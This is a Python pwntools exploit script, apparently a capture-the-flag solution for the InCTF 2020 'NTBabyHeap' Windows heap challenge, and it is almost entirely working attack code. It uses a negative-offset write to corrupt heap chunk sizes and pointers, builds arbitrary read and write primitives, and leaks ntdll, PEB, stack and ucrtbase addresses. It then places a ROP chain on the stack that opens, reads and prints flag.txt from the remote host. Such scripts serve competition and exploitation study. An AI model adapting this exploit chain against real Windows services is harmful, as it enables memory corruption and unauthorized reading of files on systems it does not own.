InCTF2020-NTBabyHeap.py

from pwn import *
import sys

context.arch = "amd64"
# context.log_level = "debug"

PORT = 13337

if len(sys.argv) == 1:
    HOST = "127.0.0.1"
else:
    HOST = "51.144.80.246"

r = remote(HOST, PORT)
send_choice = lambda x : r.sla("Enter Choice: ", str(x))

_heap_base = 0

def add(size):
    send_choice(1)
    r.sla("Enter size: ", str(size)) # < 0x3000

def remove(idx):
    send_choice(2)
    r.sla("Enter idx: ", str(idx)) # < 0xA

def view(idx):
    send_choice(3)
    r.sla("Enter idx: ", str(idx)) # < 0xA
    r.recvuntil("Data: ")
    return r.recvline().strip()

def edit(idx, offset, size, data):
    send_choice(4)
    r.sla("Enter idx: ", str(idx)) # < 0xA
    r.sla("Enter offset: ", str(offset))
    r.sla("Enter size: ", str(size)) # < 0x3000
    r.sa("Enter data: ", data)

def vuln_init():
    global _heap_base
    add(0x18) # idx 0
    add(0x18) # idx 1
    add(0x18) # idx 2
    add(0x18) # idx 3
    add(0x18) # idx 4
    add(0x18) # idx 5
    add(0x18) # idx 6
    add(0x18) # idx 7
    add(0x18) # idx 8
    edit(1, 0xFFFFFFe0, 0x8, p64(0x1000)) # ovewrite size

def heap_leak():
    global _heap_base
    edit(1, 0, 0x40, "A" * 41)
    _heap_base = u64(view(1)[40:] + "\x00\x00") & ~0xffff
    log.info("_HEAP = 0x{:016x}".format(_heap_base))

def init_r():
    global r
    r.sla = r.sendlineafter
    r.sa = r.sendafter

init_r()
vuln_init()
heap_leak()

def aar(where, idx=1, normal=6):
    edit(idx, 0xFFFFFFe8, 0x8, p64(where)) # overwrite ptr
    return u64(view(idx)[:normal].ljust(8, '\x00'))

def aaw(where, what, idx=1):
    edit(1, 0xFFFFFFe8, 0x8, p64(where)) # overwrite ptr
    edit(1, 0, len(what), what)

ntdll_base = aar(_heap_base + 0x2c0) - 0x167ed0
# dll base is persistent
log.info("ntdll.dll = 0x{:016x}".format(ntdll_base))


r.close()
r = remote(HOST, PORT)
init_r()
vuln_init()

base_addr = aar(ntdll_base + 0x1694d0)
base_addr = aar(base_addr + 0x38, 2) - 0x1794
log.info("NTBabyHeap = 0x{:016x}".format(base_addr))

r.close()
r = remote(HOST, PORT)
init_r()
vuln_init()

aaw(base_addr+0x5034, p32(0xdeadbeef)) # view limit bypass

_peb = aar(ntdll_base+0x169448, 2, 5) - 0x80
log.info("_PEB = 0x{:016x}".format(_peb))

stack_base = aar(_peb + 0x100a, 3, 3) << 16
log.info("stack base = 0x{:016x}".format(stack_base))

ucrtbase = aar(base_addr+0x31a0, 5) - 0x846c0
log.info("ucrtbase = 0x{:016x}".format(ucrtbase))

stack_ret = 0
STACK_LIMIT = 0x900
gogo = log.progress("find retaddr in stack...")
for i in range(0, STACK_LIMIT, 8):
    is_it = (stack_base-STACK_LIMIT) + i
    edit(4, 0xFFFFFFa8, 0x8, p64(is_it)) # overwrite ptr of chunk 3
    tmp = u64(view(3).ljust(8, '\x00'))
    if tmp == base_addr+0x1389: # ret of printf("Data: ", ...)
        gogo.success("Yay!")
        stack_ret = is_it
        break

if stack_ret == 0:
    gogo.failure("ssibal")
    sys.exit(-1)

log.info("stack ret = 0x{:016x}".format(stack_ret))

pop_rcx_ret = ntdll_base + 0x8daaf
pop_rdx_r11_ret = ntdll_base + 0x8b467
pop_r8_ret = ntdll_base + 0x69d3
add_rsp_28h_ret = ntdll_base + 0x3edc

open_addr = ucrtbase + 0xa5530
read_addr = ucrtbase + 0x17c30
write_addr = ucrtbase + 0x17530

flag_txt = stack_ret + (8 * 36)
flag_buf = base_addr + 0x5700

rop_chain = flat([
    pop_rcx_ret,
    flag_txt,
    pop_rdx_r11_ret,
    0,
    0,
    pop_r8_ret,
    0x100,
    open_addr,
    add_rsp_28h_ret,
    0, 0, 0, 0, 0,

    pop_rcx_ret,
    3,
    pop_rdx_r11_ret,
    flag_buf, 0,
    pop_r8_ret,
    0x80,
    read_addr,
    add_rsp_28h_ret,
    0, 0, 0, 0, 0,

    pop_rcx_ret,
    1,
    pop_rdx_r11_ret,
    flag_buf, 0,
    pop_r8_ret,
    0x80,
    write_addr
])

rop_chain += "flag.txt\x00"

edit(6, 0xFFFFFFe0, 0x8, p64(0x1000)) # ovewrite size
edit(6, 0xFFFFFFe8, 0x8, p64(stack_ret))
edit(6, 0, len(rop_chain), rop_chain)

context.log_level = "debug"

log.info(r.recvuntil("}"))
r.close()